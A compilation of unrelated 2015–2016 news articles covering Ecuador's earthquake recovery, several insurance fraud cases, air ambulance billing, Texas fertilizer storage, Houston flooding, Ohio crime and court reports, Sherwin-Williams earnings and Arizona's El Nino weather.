Taxes on companies will also go up, and Correa said he will look to sell certain state assets that he didnt specify. He is also drawing on $600 million in emergency credits from the World Bank and other multilateral lenders.

Unlike the deadly earthquake that ravaged Chile in 2010, when commodity prices were at a high and most of South America was booming, Ecuador must rebuild with prices of oil, the lifeblood of its economy, near a decade low. Manufacturing is also suffering because the economy is dollarized, depriving companies in Ecuador of the same jolt the rest of South America has experienced from devalued currencies.

The tax hikes come as the scale of devastation continues to sink in. A helicopter flyover of the damage zone Wednesday showed entire city blocks in ruins as if they had been bombed.

Late Wednesday, the government raised the death toll to 570. Officials listed 163 people as missing while the number of those made homeless climbed over 23,500. The final death toll could surpass casualties from earthquakes in Chile and Peru in the past decade.

Even as authorities turn to restoring electricity and clearing debris, the earth continued to move. A magnitude-6.1 aftershock before dawn Wednesday set babies crying and sent nervous residents pouring into the streets. Local seismologists had recorded more than 550 aftershocks, some felt 105 miles (170 kilometers) away in the capital of Quito.

While humanitarian aid has been pouring in from around the world, distribution is slow. In Manta on Wednesday, people waited for hours under the tropical sun for water and food supplies. Soldiers kept control with fenced barricades.

They looted the store. Im taking out what little remains, Jose Encalada said as he cleaned up his paint store in Pedernales, one of the hardest-hit towns.

(Associated Press writers Marko Alvarez in Pedernales, Ecuador, and Joshua Goodman in Bogota, Colombia, contributed to this report.)

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
Former New Jersey Chiropractor Accused of Role in Medical Fraud Ring

State authorities say a New Jersey chiropractor whose license was revoked more than a decade ago played a role in a medical fraud ring that allegedly stole nearly $4 million from insurance companies.

Philip Potacco faces numerous counts, including conspiracy and money laundering, in an indictment made public Friday. The 62-year-old Kinnelon resident would face several decades in prison if convicted on all counts, but his attorney says he plans to plead not guilty.

Authorities say Potacco used a medical consulting group to recruit accident victims and people who staged car crashes so he could submit bogus insurance claims. He also allegedly hired a licensed chiropractor to serve as a front man of a practice Potacco himself ran for five years.

The states Chiropractic Examiners Board revoked Potaccos license for misconduct in 2002.

Oil Spill Fraud Nets Convictions for Florida Father, Daughter

A Florida Keys man and his daughter have been convicted of making fraudulent claims for losses stemming from the 2010 Gulf of Mexico oil spill.

Both 73-year-old Raul Rioseco and 50-year-old Caridad Rioseco Alejandrez pleaded guilty recently to making false claims. Raul Rioseco has been sentenced to a year and a day in prison. His daughter faces up to 20 years behind bars at sentencing in July in Key West.

Federal prosecutors say Raul Rioseco submitted claims based on supposed losses from his lobster fishing business. But evidence showed he had long been retired. He received about $35,900 in phony claims.

Caridad Rioseco Alejandrez claimed her tax preparation business had suffered from the oil spill because her commercial fishing customers lost income. Prosecutors said she obtained $55,000 in fraudulent claims.

South Dakota Woman Convicted of Burning Bar for Insurance Gets New Trial

A woman convicted of setting fire to a bar and grill she co-owned in the South Dakota town of Herreid to get insurance money has been granted a new trial.

A jury in February found 42-year-old Lori Brandner guilty of arson, conspiracy to commit arson and filing a fraudulent insurance claim.

The American News reports defense attorney Brad Schreiber filed a motion for a new trial, citing concerns over jury instructions. A judge agreed, and granted a new trial for Aug. 3-5. She has been released on bond.

Authorities say Brandner and three others set fire to the business on Jan. 21, 2015, and that Brandner later submitted a $310,000 insurance claim.

Tyler Ambrust and Ryan Kaelberer, of Minot, North Dakota, were sentenced in February to a year in prison for arson conspiracy. Cheyenne Davis, of Pollock, awaits sentencing on the same charge.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
The first time Jason Ebert needed an air ambulance, it saved his life. The second time, it nearly broke the bank.

Both times, Montana doctors ordered Ebert flown 150 miles from Bozeman to Billings for treatment. But while insurance covered the first flight, the hospital called a for-profit service the second time, and Ebert got stuck with a more than $27,000 bill.

I cant even fathom the difference in price, said Eberts wife, Mandy.

As the air ambulance industry has grown, so too have complaints about costs and the lack of regulations. States that try to set rules are met with lawsuits that argue air ambulances  specially equipped aircraft, usually helicopters, used to ferry sick or injured people in emergencies  fall under the Airline Deregulation Act, which prevents states from interfering with fares, routes and services.

Last year, North Dakota lawmakers passed legislation that required air ambulance services to be participating providers with insurance companies that cover at least 75 percent of the states population for inclusion on a primary call list. But last month, a federal judge ruled the Airline Deregulation Act preempted North Dakotas law.

The 1978 act was meant to increase competition, reduce rates and improve airline passenger service. But competition among air ambulance providers has the opposite effect. The industry has high fixed costs, including aircraft, pilots and trained medical staff. With increased competition, those costs must be recouped from among a smaller number of flights, leading to higher prices.

In Jason Eberts case, his first trip for treatment involved a torn aorta, and he took the flight in a hospital-based air ambulance. Insurance picked up the entire $12,000 tab.

The second trip came months later when Ebert felt dizzy, and the Bozeman hospital called a for-profit air ambulance service. That bill came to nearly $40,000, and the Eberts were left responsible for more than half of it.

Earlier this month, U.S. Sens. Jon Tester of Montana and John Hoeven of North Dakota sought to amend the Federal Aviation Administration reauthorization legislation to allow states to decide if they want to create rules governing air ambulance rates and services.

That effort failed, but Tester will continue to work on the issue, his spokeswoman Marnee Banks said.

Patients sometimes dont realize they should ask or might not be capable of asking whether their transportation is in network or how much their insurance will cover. The result can be whopping bills. Some Montana residents have received balance bills of up to $90,000, said Jesse Laslovich, chief counsel for the Montana Auditor and Insurance Commissioners Office.

Don Wharton, director of business development for REACH Medical Services, said the large bills are a product of commercial insurance carriers and payers being unwilling to pay the fair market value for the service.

Insurance companies and employee benefit managers say air ambulance companies wont reveal actual costs, preventing them from determining a fair payment.

Affordability has a huge role in patient access to health care services, said Clare Krusing, spokeswoman for the Washington, D.C.-based Americas Health Insurance Plans. There needs to be much greater focus on whether the charges for these services are fair and appropriate.

Some private air ambulance companies are offering annual memberships for their services  for as little as $65. But critics note theres no guarantee the company that sells the membership will be the one that actually transports the covered patient.

For-profit companies argue the federal governments Medicare reimbursements are woefully lacking and state Medicaid reimbursements can be even less, meaning they have to charge some patients more to stay in business.

The companies say they respond to calls without regard to whether the patient has insurance and write off millions of dollars yearly as uncollectable

Rick Sherlock, CEO of the Virginia-based Association of Air Medical Services, said his group supports bills introduced in Congress last year that would require Medicare to pay closer attention to the actual cost of services. The bill also would require companies to disclose their costs.

Montana is among the states seeking its own solution.

The Montana Legislatures economic affairs interim committee is studying the issue and intends to introduce a bill during its 2017 session. But state legislation likely will be limited in its effectiveness, Laslovich said.

We can teeter around the edges, but in dealing with the substance of the problem, were going to need an act of Congress to say air ambulances dont fall under the aviation deregulation act, Laslovich said.

Meanwhile, consumers are urged to educate themselves. The National Association of Insurance Commissioners recently issued a statement advising people to make sure they understand what, if any, air ambulance coverage they have.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
A newspaper analysis has found that while some safety steps have been taken across Texas following the deadly 2013 explosion at a plant in West, tons of the same kind of fertilizer that exploded there can still be found near schools and homes in some towns.

The Dallas Morning News says its investigation found that many of the agricultural supply and feed stores that used to stock a lot of ammonium nitrate have stopped selling it and others have implemented safeguards such as moving the chemical out of dilapidated buildings and into fire-resistant concrete structures. But it reports many recommendations by safety investigators have gone unheeded.

None of the sites that responded to newspaper inquiries reported installing sprinklers systems. The state does not require them, but the U.S. Chemical Safety Board has said such a system could have stopped the West accident before it became a fatal explosion.

And despite calls for keeping stockpiles of ammonium nitrate away from populated areas, in up to eight communities, tons of the chemical still sit near schools, houses, nursing homes and even a hospital, according to the newspapers analysis of state data.

Using a state database and inspection reports obtained from the State Fire Marshals Office, the newspaper identified 19 businesses stocking large amounts of ammonium nitrate within a half-mile of schools, hospitals or nursing homes. Though the state does not disclose the names of the businesses, the newspaper identified them by cross-checking location data.

According to store employees or local fire officials contacted by the newspaper, 11 of those businesses no longer sell ammonium nitrate. Some said they stopped because there was too much regulatory paperwork or they were worried about liability. Others said they faced pressure from the community.

Of the eight remaining facilities, someone with the facility or local fire officials confirmed to the newspaper that four still sell the fertilizer. For three of the facilities, no one responded to requests for comment. The newspaper found that at one facility, trucks and rail cars there were labeled for ammonium nitrate, but the parent company declined to comment.

When the West fertilizer plant was built in 1962, it was far from the center of the small farming town about 75 miles south of Dallas. But the community grew northward toward the site, which by 2013 was close to houses, an apartment complex, a nursing home and three schools.

On April 13, 2013, a blaze heated up 30 tons of ammonium nitrate. Investigators dont know for sure what detonated the fertilizer, which can also be used as an explosive. The blast carved a crater 10 feet deep and damaged nearby schools. Twelve of the 15 who died were first responders; more than 300 people were injured.

A government study found that while 54 percent of the people who went to the hospital after the explosion had been within 1,000 feet of the blast, many who sought medical help had been farther away.

When the safety board investigated, it pointed to a lack of regulations about siting of facilities that store and distribute ammonium-nitrate fertilizer and said regulations addressing issues such as buffer zones or barricades, the severity of the casualties and damage experienced in West could have been significantly reduced.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
A bid to repeal Louisianas motorcycle helmet requirement narrowly failed in the state House.

The measure fell shy Wednesday of the 53 votes needed to advance to the Senate for consideration. Lawmakers voted 49-46 in support of the measure.

Rep. Clay Schexnayder, R-Gonzales, called his proposal a personal choice bill. He said it promoted safety by still requiring people under 21 years old to wear a helmet and undergo a training course.

Rep. Kirk Talbot, R-River Ridge, said he did not care whether riders made the personal choice to wear a helmet, but he was concerned the measure did not make mention of insurance policies. Repealing the mandatory motorcycle helmet law would cost the state dearly, Talbot said.

Opposing lawmakers joined Talbot in suggesting the measure could raise Louisianas already high insurance rates and cost the state more money if uninsured riders became injured in crashes. Schexnayder defended his bill against the criticism, saying the state does not currently have anyone on public care as a result of a motorcycle accident, according to the state Department of Health and Hospitals.

The bill could also lead to more motorcycle crash deaths, its opponents said. They compared wearing helmets while riding a motorcycle to other legally mandated safety precautions, like motor vehicle seat belts and airbags.

Supporters of the law repeal presented their own comparisons, arguing that bull riders are not required to wear helmets. The state, they said, also does not mandate helmets for people who ride horses.

Comparing motorcycles to horses seemed flawed for Rep. Terry Landry, D-New Iberia. He asked the chamber to exercise good judgment, consider high-speed, ninja-style motorcycles on state highways and reject the measure.

Sometimes we have to do things to protect people from themselves, Landry said.

Gov. John Bel Edwards said Tuesday he opposes repeal of the motorcycle helmet requirement. Asked if he would veto the bill if it won final passage, the Democratic governor replied: Theres no other way at that point to express my lack of support.

I know that that will cause a lot more folks who are involved in accidents while riding a motorcycle to be more seriously injured or killed, so I dont support that, he said.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
As more than a foot of rain deluged the nations fourth-largest city, inundating homes, shutting down major highways and leaving at least five people dead, Houstons mayor said there was no immediate solution.

Heavy flooding has become nearly an annual rite of passage in the practically sea-level city, where experts have long warned of the potential for catastrophe.

I regret anyone whose home is flooded again, said Sylvester Turner, the citys mayor, on Monday. Theres nothing I can say thats going to ease your frustration. We certainly cant control the weather.

A lot of rain coming in a very short period of time, theres nothing you can do, he added.

Scores of subdivisions flooded, schools were closed, and power was knocked out to thousands of residents who were urged to shelter in place.

In addition to its location, Houstons gumbo soft soil, fast-growing population and building boom that has turned empty pastures into housing developments all over the citys suburbs and exurbs make it vulnerable to high waters, experts say.

Harris County, where Houston and many of its suburbs are located, has seen a 30 percent jump in population since 2000. Its surrounding counties have almost grown more than 10 percent since 2000, according to the Greater Houston Partnership, a business group.

Some of the resulting developments include adequate greenspace for water runoff, but not all of them do, said Philip Bedient, an engineering professor at Rice University.

Could we have engineered our way out of this? Bedient said. Only if we started talking about alterations 35 or 40 years ago.

Samuel Brody, director of the Environmental Planning & Sustainability Research Unit at Texas A&M University, last year called Houston the No. 1 city in America to be injured and die in a flood.

Rainstorms last year over Memorial Day weekend caused major flooding that required authorities to rescue 20 people, most of them drivers, from high water. Drivers abandoned at least 2,500 vehicles, and more than 1,000 homes were damaged in the rain.

The year before, flash flooding in Houston and suburban counties left cars trapped on major highways.

Those storms still pale in comparison to the devastation wreaked by Hurricane Ike in 2008 and Tropical Storm Allison in 2001. Allison left behind $5 billion in damages and flooded parts of downtown and the Texas Medical Center, which sits near the Brays Bayou, a key watershed.

Bedient has worked with the Texas Medical Center on better preparing its facilities for massive rainfall, including the use of a sophisticated weather alert system that gives the medical center extra time to activate gates and doors that block excess rainwater.

Improving the monitoring of specific watersheds and flood-prone areas might give affected residents the extra bit of time they need to save lives and take protective measures.

We cant solve this flood problem in Houston, Bedient said. All we can do is a better job warning.
The Coconino High School automotive teacher will have a different car to brag about this year.

Brian Locke was named the 2016 Coconino County Teacher of the Year Wednesday night at the awards ceremony at the High Country Conference Center, an honor that comes with a leased car from Findlay Toyota for a year, complete with wraps that read Teacher of the Year.

He also receives $3,000 in cash, a three-credit course at Coconino Community College and is eligible to apply for the state Teacher of the Year competition.

I am so proud of Brian Locke, who is an extraordinary teacher and is so well deserving, said Stacie Zanzucchi, the principal at CHS. Hes such an amazing teacher.

Locke said he was surprised to win the honor, but said he is happy to have the chance to represent not only education in Coconino County, but also Career and Technical Education (CTE).

The runners up for the honor, kindergarten teacher Natalie Mann from Williams Elementary School, and fifth and sixth grade teacher Elii Chapman from Flagstaff Junior Academy, were named Ambassadors for Excellence, and also received a cash prize and a CCC course. Coconino County Superintendent of Schools Risha VanderWey said Chapman was the first charter school teacher to be nominated.

In Lockes nomination video, students from his classes described the ways he has inspired them in the classroom, including one student who said she was not interested in graduating from high school at all, but he motivated her to go to class and try her best, and now she will graduate in May.

Locke said he was honored to be nominated with the other two finalists, who he said work in challenging conditions, teaching kindergarten and middle school, every day.

My heart goes out to those folks, he said.

Locke received multiple nominations this year, and he said many of those stem from receiving a national accreditation from the National Automotive Technician Education Foundation, making CHS one of only seven schools with the accreditation.

Students graduating from CHS after participating in the program can work toward their certification in automotive maintenance and light repair, which significantly shortens their time after high school that they must train to get the certification.

Lockes wife, Laura, teaches Interior Design and Merchandising classes and culinary arts, also at CHS.

In addition to the honor, Locke will represent Coconino County at various educational functions and in meetings with Arizona leaders for the next year. He said he wants to share the message that teachers in Coconino County manage to deliver high quality education while struggling with funding issues and the complications that can come with a diverse population.

Its a diverse area with different languages, diverse landscape and diverse families, Locke said. It can be a tough area, especially in the rural communities. All the teachers in Coconino County are amazing to get up every day and do the work they do.

Locke said he also wants to share the message that education benefits the entire county and state.

Education is a community thing, its a family thing and when we are all working together, the better we become, he said.
Sax Man Matt Criscuolo Engages in 'The Dialogue' on New Jazzeria Records Release [REVIEW]

Sax man Matt Criscuolo's new 'The Dialogue' is a keeper. (Photo : courtesy Jazzeria Records)

Sweet. Real sweet. Alto saxophonist/composer Matt Criscuolo's seventh release, The Dialogue (Jazzeria Records) is a straight-up affair of blowing some John Coltrane ("Giant Steps"), Duke Ellington ("Prelude to a Kiss") and Wayne Shorter ("Fall") as well as five originals as played by guitarist Tony Purrone, drummer Will Calhoun and bassist Dave Anderson.

Calhoun's from metal band Living Colour. Purrone's played with Jimmy Heath. Anderson has drummed for Regina Carter and Art Garfunkel. But it's the show of New Yorker Criscuolo. Building on his last CD, 2015's Headin' Out, he's a hard post-bopper filled with swing too and, every great once in awhile, isn't against a few crazy squeaks, squeals, blips, blaps and honks like the avant-gardists. But he's no crazy. He knows which side of the bread his butter is on so he keeps it hot, enticing, entertaining and ultimately, satisfying.

He wrote "West Haven Knock Around" with guitarist Purrone who shines on this track dedicated to the Connecticut studio, Horizon, where this was recorded. Sounds like a jam that was edited afterwards. The title track is first and goes through a myriad of convoluted changes. Purrone also co-wrote "A Child's Dream," yeah, a dreamy wisp of a cloud that serves as the 'Trane intro. Closer "Ronnie's Tune," at 6:44, is the longest jam on the CD.

Criscuolo has been in the bands of David Murray, Harold Danko, Steve Davis, Rich Perry and Larry Willis. He's a seasoned vet who can shift his tone to whatever the piece in question calls for. It's this kind of eclectic modernism that keeps his phone ringing.

 2016 The Classical Art, All rights reserved. Do not reproduce without permission.

TagsTony Purrone, Matt Criscuolo, REVIEW, Jazzeria Records
Burger King East Market Akron

An employee of the Burger King on East Market Street in Akron was sexually assaulted on Friday, police said.

(Adam Ferrise, cleveland.com)

Keith Brandon

AKRON, Ohio -- A homeless man is accused of sexually assaulting a Burger King employee who was cleaning the men's restroom.

Keith Brandon, 48, is charged with rape. He is in the Summit County Jail waiting for his first court appearance.

The incident happened about 11 a.m. Friday at the Burger King in the 600 block of East Market Street.

Brandon walked into the restaurant and followed the 30-year-old employee into the restroom.

Brandon forced himself on her and sexually assaulted her as she tried to fight him off, court records say.

Another employee noticed the two were in the restroom at the same time. He pulled Brandon off the woman. Another employee helped shove Brandon out of the restaurant, according to police. Officers later arrested him.

Brandon's criminal history includes a three-year prison sentence for a 2007 domestic violence. He also spent time in prison for carrying a concealed weapon in 1997 and for two robberies in 1989.

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Eric Hendon court

Eric Hendon, with defense attorney Brian Pierce, in Summit County Common Pleas Judge Amy Corrigall Jones' courtroom.

(Adam Ferrise, cleveland.com)

AKRON, Ohio -- An Akron man who killed a father and his two children during a drug theft will spend the rest of his life in prison.

A Summit County jury recommended Thursday that Eric Hendon be sentenced to life in prison without the possibility of parole instead of the death penalty.

Summit County Common Pleas Judge Amy Corrigall Jones will sentence Hendon on May 4. She cannot sentence him to the death penalty, but she can lower the amount of time until he first faces parole.

Eight of nine death-penalty cases since 2013 in Summit County have ended with the jury deciding against sending the defendant to death row.

"They jury said no to the death penalty in this case," defense attorney Brian Pierce said after the verdict was read. "Prosecutors in this county and across Ohio need to take notice that the death penalty has no place in this state."

No family on either side attended the hearing. All 12 jurors also declined comment.

Summit County Prosecutor Sheri Bevan Walsh said in a statement that Hendon's crimes were so bad that the case deserved to be prosecuted to the fullest extent possible.

"This case is one of the most horrific cases we have ever seen," Bevan Walsh said. "When multiple people are murdered, Ohio law provides that the death penalty may be considered by the jury. We felt strongly that Hendon deserved the maximum sentence allowed by law. It is, however, the role of the jury to make the ultimate finding and we respect their decision."

Hendon was convicted of aggravated murder and attempted murder of a fourth person inside the home.

Hendon, 31, fatally shot John Kohler, 42, and his two children, Ashley Carpenter, 18, and David Kohler Carpenter, 14 on Dec. 31, 2013. He shot and and stabbed Kohler's girlfriend, Rhonda Blankenship, in the face. Blankenship survived but lost her eye.

The family was getting ready for their New Year's celebration when Hendon's brother Michael Hendon bought high-quality marijuana that Kohler sold to a small group of people.

The brothers returned five minutes later with his older brother.

Eric Hendon shot Kohler in the leg because he didn't open the door to the living room safe fast enough.

Michael Hendon forced Blankenship from the kitchen into the living room as Kohler fought with Eric Hendon.

Eric Hendon shot Kohler in the head and his brother grabbed money and two large bags of marijuana from the safe. The brothers forced Carpenter into a back bedroom.

When Blankenship intervened, the older Hendon brother stabbed her in the face and shoved her to the ground. He kicked in the door to the bedroom and shot Carpenter in the head.

The older Hendon then shot the 14-year-old Kohler-Carpenter in the head five times.

Blankenship testified that she pretended to be dead while waiting for them to leave. She crawled to her phone, pulled the knife out of her face and called 911.

Michael Hendon in August was convicted of being complicit in the murders. Corrigall Jones ruled he was mentally unfit for the death penalty. He was sentenced to life in prison without parole.

Defense attorneys argued that Eric Hendon should be spared because he was regularly abused and neglected during his childhood.

Hendon's mother, Vivian Hendon, was an alcoholic and addicted to drugs. She left the children home alone for long stretches. Summit County Children Services had dozens of investigations into Vivian Hendon from 1985 to 2000, none of which ended in the children being permanently removed from her custody.

"The jury took into consideration Eric Hendon's abuse as a child," Pierce said. "It's not an excuse but it's what led us to this point."

Update: This post was updated to reflect the statement from Summit County Prosecutor Sheri Bevan Walsh.
Sherwin-Williams will become a $10 billion company this year

Containers of Sherwin-Williams' Multi-Purpose Water-Based Acrylic-Alkyd paint await buyers at the Sherwin-Williams paint store in Brecksville in this Plain Dealer file photo. The Cleveland-based paint manufacturer and retailer posted record sales of $2.57 billion in the first quarter of 2015, a 5.1-percent increase over the first quarter of 2015.

(Lisa DeJong, Plain Dealer file)

CLEVELAND, Ohio -- The Sherwin-Williams Co. reported record sales of $2.57 billion for the first quarter of 2015, a 5.1-percent increase over the same period last year, primarily because of improved operations in its paint stores.

Results might have been higher if unfavorable currency translation rates hadn't pulled down net sales by 2.8 percent, the company said.

The Cleveland-based paint company on March 20 announced plans to acquire Valspar Corp., a Minneapolis-based global paints and coatings company, in an all-cash deal for $113 per share, or about $11.3 billion.

If approved by Valspar shareholders and regulators, the combined global paint company would have total revenues of about $15.6 billion, adjusted earnings of $2.8 billion, and about 58,000 employees.

Among other results reported Thursday morning:

1.) Diluted net income per common share rose to $1.57 per share for the quarter that ended March 31, up from $1.38 per share in the first quarter of 2015. That includes 24-cents-per-share in costs from the anticipated Valspar acquisition. Without those costs, diluted net income would have risen 31.2 percent to a record $1.81 per share.

2.) In Sherwin-Williams' Paint Stores Group, net sales grew 10.5 percent to $1.62 billion, primarily because of higher sales volume of architectural paint across all markets. Paint store profits grew by $77 million to $253.5 million for the quarter, compared to $176.6 million for the same quarter last year. Net sales from stores open at least a year, called same-store sales, rose 9.4 percent in the first quarter.

3.) Net income rose $15.7 million, or 12 percent, to $147.1 million, from $131.4 million for the first quarter of 2015.

4.) In the Consumer Group, net sales rose 7.5 percent to $378.1 million, from $351.7 million, mainly because of sales of HGTV Home by Sherwin-Williams in Lowe's home improvement stores. Profits grew to $64 million, from $55.4 million last year.

5.) In the Global Finishes Group, net sales declined 3.3 percent to $454.2 million in U.S. dollars, from $469.6 million in 2015. Unfavorable currency rates hurt net sales by 4.7 percent, but profits still grew to $48.6 million, from last year's $38.9 million, because of cheaper raw materials and "good cost control," the company said.

6.) In the Latin American Coatings Group, net sales fell 24.7 percent to $125.2 million in U.S. dollars during the quarter, down from $166.2 million in the first quarter of 2015, because of unfavorable currency rates and lower sales volumes. The segment lost $928,000 during the quarter, from a profit of $9.5 million last year, because of higher raw material costs and unfavorable currency rates.

7.) The company, whose Sherwin-Williams branded products are sold exclusively at its 4,099 company-operated stores and facilities, opened 13 net new stores in the first quarter. The company expects to end up with 90 to 100 more stores by the end of 2016.

"First quarter 2016 was a good quarter for Sherwin-Williams from both a revenue and profit perspective," President and Chief Executive John G. Morikis told analysts on Thursday. "Architectural paint volume growth in North America was the strongest we've seen in the past 10 years or longer

"Industrial coating demand also picked up some momentum in North America and Europe. Even with a 2.8-percent drag from unfavorable currency translation in the quarter and continued soft market conditions in Latin America, our consolidated net sales growth exceeded 5 percent for the first time since third quarter 2014."

"For the second quarter, we anticipate our consolidated net sales will increase a low- to mid-single-digit percentage compared to last year's second quarter," and diluted net income per common share, excluding acquisition costs, of about $3.95 to $4.15 per share, he said. The anticipated acquisition of Valspar is expected to decrease diluted net income per common share by about 15 cents per share.

For 2016 as a whole, the company expects net sales to increase by a low single-digit percentage. "With annual sales at that level, we are raising our guidance that diluted net income per common share for 2016, excluding acquisition costs, will be in the range of $12.50 to $12.70 per share, compared to $11.16 per share earned in 2015," Morikis said.

"We expect costs related to the anticipated acquisition of Valspar to be $185 million to $205 million in 2016."

Sherwin-Williams' shares opened at $303, hit a 52-week high of $309, and eventually declined $2.65, to close at $297.37 on Thursday. That's 1 percent less than Wednesday's close of $300.02.

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CLEVELAND, Ohio -- The girlfriend of accused East Cleveland serial killer Michael Madison's told a jury Thursday that he showed up at her house with scratches on his face around the time police believe he killed 18-year-old Shirellda Terry.

Madison is on trial for the murder of three women, Terry along with Shatisha Sheeley, 28, and Angela Deskins, 38, whose bodies were found near his apartment in July 2013. Thursday featured the fourth full day of testimony in what is expected to be a month-long trial. Madison faces the death penalty if convicted.

Madison's former girlfriend, Shawnte Mahone, told the jury that she often slept with Madison in the months and days leading up to his arrest. She met Madison in October 2012.

Mahone said she asked him what happened when he showed up at the door with deep, fresh scratches on his face that July.

"He said he got into a fight and a girl jumped in and scratched his face," Mahone said. Madison told her that he got in a fight while taking his car to a repair shop.

In the days that followed, Mahone said that Madison's apartment began to smell like sewage. Madison told her that he thought an animal died, and he lit incense throughout the apartment in an attempt to cover up the smell.

Less than two weeks later, police found Terry's body inside Madison's garage, along with evidence that he had kept the body inside a hallway closet.

The day Terry's body was discovered, Madison was staying at Mahone's home about seven houses away from his apartment at the corner Hayden and Shaw avenues.

The accused killer was arrested later that day after a SWAT standoff at his mother's home in Cleveland.

The trial continued with prosecutors showed the jury a series of photographs taken of Terry's body after it was recovered and removed from the plastic garbage bags. Madison had tied the girls neck and angles together with a belt.

The defendant, who has watched much of the trial, kept his face down as the photographs were shown onscreen.

The jury was also shown the first minutes of a 10-hour long interrogation that was taped shortly after Madison's arrest. The presentation of Madison's interrogation will continue Friday.

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Martin Yavorcik

Former Youngstown attorney Martin Yavorcik looks at the audience in Judge Janet Burnside's courtroom after his five-year probation sentence is read. Yavorcik was found guilty of engaging in a corrupt pattern of activity by a jury last month.

(John Harper, cleveland.com)

CLEVELAND, Ohio - The failed 2008 candidate for Mahoning County prosecutor, convicted of corruption charges was sentenced Friday to five years probation and a year of house arrest.

Martin Yavorcik, 45, will spend the next year on house arrest and is allowed to leave the house only for probation meetings, medical appointments, alcohol treatment and for work, should he find a job.

Cuyahoga Common Pleas Judge Janet Burnside imposed a seven-year suspended prison sentence Yavorcik will serve if he violates his probation.

Assistant Ohio Attorney General Dan Kasaris asked the judge to impose a prison term as a deterrent to corruption in Mahoning County, telling the judge that Yavorcik's crimes are an embodiment of a culture of corruption that is part of the reason "when you tell people you're from Youngstown, they look at you funny."

Yavorick pleaded for leniency saying that he is already punished, by the loss of his law practice, bankruptcy and his struggle with alcohol.

"I grew up in Youngstown and I understand it looks bad ... but my standing in the community has been destroyed," he said. "My dad can't go to Dunkin Donuts and get his coffee. I would ask the court to help me."

Burnside said that the seriousness of the crime was mitigated by the fact that this was Yavorcik's first criminal conviction.

"I have grave difficulties sending a 42-year-old former lawyer, in court for his first crime, for the first time, to prison," Burnside said. "I highly question what benefit it would be to the taxpayers of any county of this state to pay for a prison bed for Mr. Yavorcik."

She also compared Yavorcik's crime to that of convicted former Cuyahoga County judge Steven Terry, who accepted campaign cash from then-county auditor Frank Russo while promising to dismiss a case being litigated by one of Russo's friend.

Terry is serving five years in federal prison after his 2011 conviction.

"There is an element of Mr. Yavorcik acting under strong provocation, it's not the usual kind of provocation, its this Judge Steven Terry piece, where they are desperate to get elected an they fall into an opportunity to get in bed with criminals," Burnside said. "It's likely that Mr. Yavorcik didn't know at the time they were criminals."

Two other Youngstown Democrats, Mayor John McNally and former county auditor Michael Sciortino, pleaded guilty to misdemeanor charges related to the corruption scandal. McNally testified that he accepted legal services from real estate mogul Anthony Cafaro, Sr. in exchange for efforts to stop the county from moving offices out of one of Cafaro's strip malls.

The county eventually moved its child and family services office into the Oakhill Renaissance complex, while McNally and Sciortino, both county commissioners at the time, became the subject of an ethics investigation and later a criminal investigation.

Yavorcik hugged his girlfriend following the trial, but did not talk to reporte
Summer Shalodi.JPG

Summer Susan Shalodi of Lorain has been indicted on a murder charge in the death of 18-month-old Nadia Nicole Gibbons of Cleveland.

(Lorain Police Department)

LORAIN, Ohio -- A grand jury has indicted a Lorain woman in the death of an 18-month-old girl she was babysitting.

Summer Susan Shalodi, 30, was indicted Thursday on charges of murder, three counts of involuntary manslaughter, two counts of endangering children, two counts of corrupting another with drugs, and tampering with evidence, according to court records.

She remains free on a $50,000 bond and is scheduled for an arraignment hearing Thursday in Lorain County Common Pleas Court.

Nadia Nicole Gibbons died of the combined effects of head trauma and Alprazolam intoxication, police said. Alprazolam is used to treat anxiety and panic disorders.

Shalodi called 911 about 6:30 a.m. Dec. 13 and said Nadia wasn't breathing, a police report says.

She told a dispatcher that she performed CPR on the girl, but that it didn't seem to work.

Officers found Nadia lying on the floor of a second-story bedroom in the Driftwood Drive home, the report said. She was cold to the touch and wasn't moving.

Paramedics arrived a short time later and pronounced the child dead. They said the girl had likely been dead for several hours, according to the report.

Shalodi told police that Nadia appeared fine the day before. The girl's mother, who lives in Cleveland, told investigators that she dropped off her daughter in Lorain about 3 p.m. Dec. 12.

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ELYRIA, Ohio -- The Lorain County Medical Examiner said an inmate who died at a county jail last month overdosed on fentanyl.

Joseph Boden, 37, of Wellington was found unresponsive about 11:30 p.m. March 20 in a housing unit at the Lorain County jail.

Corrections officers last saw Boden alert and standing during an 11 p.m. head count, Sheriff Phil Stammitti said.

Boden had been in the jail since Jan. 4. He was serving a 90-day sentence for theft, according to Oberlin Municipal Court records.

Jail representatives were unavailable Thursday to answer questions about how Boden got the drugs.

Boden was indicted on charges of illegal conveyance of drugs of abuse on to the grounds of a government facility, possession of drugs, assault, and drug paraphernalia offenses in February, according to Lorain County court records. He pleaded not guilty.

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CLARKDALE -- An idiosyncratic jet stream, merging droughts and a more than likely La Nina ocean cooling pattern are all part of the latest status update for Arizonas weather.

Now that one of the top two strongest El Ninos on record has clearly petered out in Arizona, Michael Crimmins said climatologists have a lot of work ahead of them to answer the question of why.

The Pacific Ocean warming event that was expected to dump snow on Flagstaff was a poorly behaved, not well-trained Godzilla," Crimmins, an associate professor of climate science at the University of Arizona, said during a presentation at Yavapai College in Clarkdale on Tuesday.

While El Nino delivered predictable impacts to other parts of the world  heavy rains in Peru and drought conditions in Australia, for example  the fallout in the United States was wacky pretty much all over the country, Crimmins said.

Wet storms were supposed to barrage the Southwest but instead it was the Southeast and the Northeast that got drenched this winter.

Flagstaff hit half of its total winter precipitation in the first weeks of November and had a February and March that were in the bottom 10 percent on record in terms of precipitation.

Those months were supposed to be game time for El Nino and crucial for building up snowpack, Crimmins said.

Instead, it didn't even show up," he said.

Scientists do have some clues about what factors played into this El Ninos unexpected effects.

For one, the Pacific Jet Stream, which funnels storms from the Pacific Ocean to the coast of southern California and across to Arizona, followed an unusual pattern this winter.

It formed a subtle wave to the north, then grew weaker than normal right off the coast of California. That created a big problem for Arizona because storms headed our way got dumped in the middle of the Pacific, Crimmins said. Then, the jet stream flipped toward the Northwest, which is why places like Seattle got dumped with moisture this winter, he said.

